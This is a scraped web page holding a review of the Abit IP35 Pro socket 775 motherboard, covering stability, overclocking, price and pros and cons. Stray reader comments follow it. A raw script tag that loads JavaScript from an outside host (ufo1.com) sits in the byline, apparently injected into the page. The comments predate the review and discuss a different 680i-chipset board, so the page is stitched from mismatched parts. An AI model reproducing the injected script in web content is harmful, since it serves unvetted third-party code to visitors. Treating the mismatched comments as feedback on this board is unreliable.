Abit IP35 Pro Intel socket 775 Motherboard


Article <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 25/07/07
Author: Matt Kemp
Source: abit


As usual Abit have done a sterling job bringing a board out with the P35 chipset. The board is one of the best laid out boards I've seen with very little to fault it and even the heatpipe cooling solution does the job admirably.

Overclocking and stability are the boards areas of expertise. The board is incredibly stable and I feel confident that Abit are onto a winner with this one. Overclocking is excellent, due mainly to the boards solid stability. 520FSB is a very good figure for a board with stock cooling and no volt-mods. I would not hesitate to recommend this board to anyone who is looking to build an Intel based PC right now.

Priced at around £116 from our recommended retailers below, the IP35 Pro also represents great value for money for such a great bundle of features.

recommended - tekheads Komplett

The only things that may hold you back are the lack of a proper multi-GPU platform, and lack of DDR3 support may also put you off. Having said that, with multi-GPU being somewhat of a waste of money, and DDR3 very expensive right now these are things you may overlook.

The Abit IP35 Pro get's an "Editors Choice" Award as well as "Value For Money" - a top motherboard at a great price.

Editors Choice Award Value For $$ Award

The Good

+ Class-leading stability
+ Great overclocking
+ Excellent layout
+ Good gaming performance

The Mediocre

* Decent general performance
* Decent bundle
* Nice looks

The Bad

- Lack of multi-GPU support
- No DDR3 support

Thanks to Abit for providing the review sample

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Most Recent Comments

14-02-2007, 09:13:14

Great review Kemp, nice bunch of packaging akin to the rocketboy type of stuffz. I do wish the µguru thing was more of a 5.25 bay thingy tbh. Last time I checked, retailers were ramming these devices down peoples throats for like £11 or so - which amazes me why u never had one in the box ?!?

I would hope these good results will boost a tad more after some bios revisions, board to board I`d expect this one to be a bit better than shown - but meh..

Kewl, I recognize some of those photos too Quote

14-02-2007, 09:27:58

Excellent review as usual mate. The 680i's are toasty little sods for sure, and it's a pity that abit didn't even provide some form of active cooling to try and address the problem. Well done Quote

14-02-2007, 09:35:57

Their answer, and a few other manufs answer, seems to be to add this ugly looking heatpipe structure to stuff.

Heatpipes are great, but I don`t personally like the idea of 2 or 3 of the hs being connected together.Quote

14-02-2007, 09:38:11

2 or 3 connected together is fine, but that needs active cooling to work okQuote

14-02-2007, 10:51:54

Great review, Kemp, thanks for doing it as I was thinking of grabbing one. Now for my thoughts...

DAMN DAMN DAMN! I think the 680i chipset is good but not the king, would really like to see the 975X (or updated chipset) that can support nVidia's 8800 series gpu's in SLI... and done by ABIT. ABIT boards look great, and with the exception of the EZ PLUG for added graphics power, I like their layouts; not to mention my AW9D was rock-solid, even using an E6600 @ 3.7GHz... my 680i mobo can't touch it, only solid at 3.4GHz or lower.

Like the EZ CMOS as well, no more dip-switch installations! (newer mobos don't have problems like the old mobos after a bad OC, but it's the thought that counts!)

I personally don't see all the fuss over the passive cooling for the NB/SB. My case uses 4 120mm fans on the side of the case, so I get a lot of extra cooling... not to mention the little fan that came with my mobo for the NB, so I don't have a heating problem. I think it works fine, even without the little fan made for the NB; on the other hand, an enthusiast board should give the user the option to remove the passive to add active (fan) cooling solutions. The only thing I wonder about is the need for pipes from SB--NB--PWM... do the pipes really do anything for the cooling?


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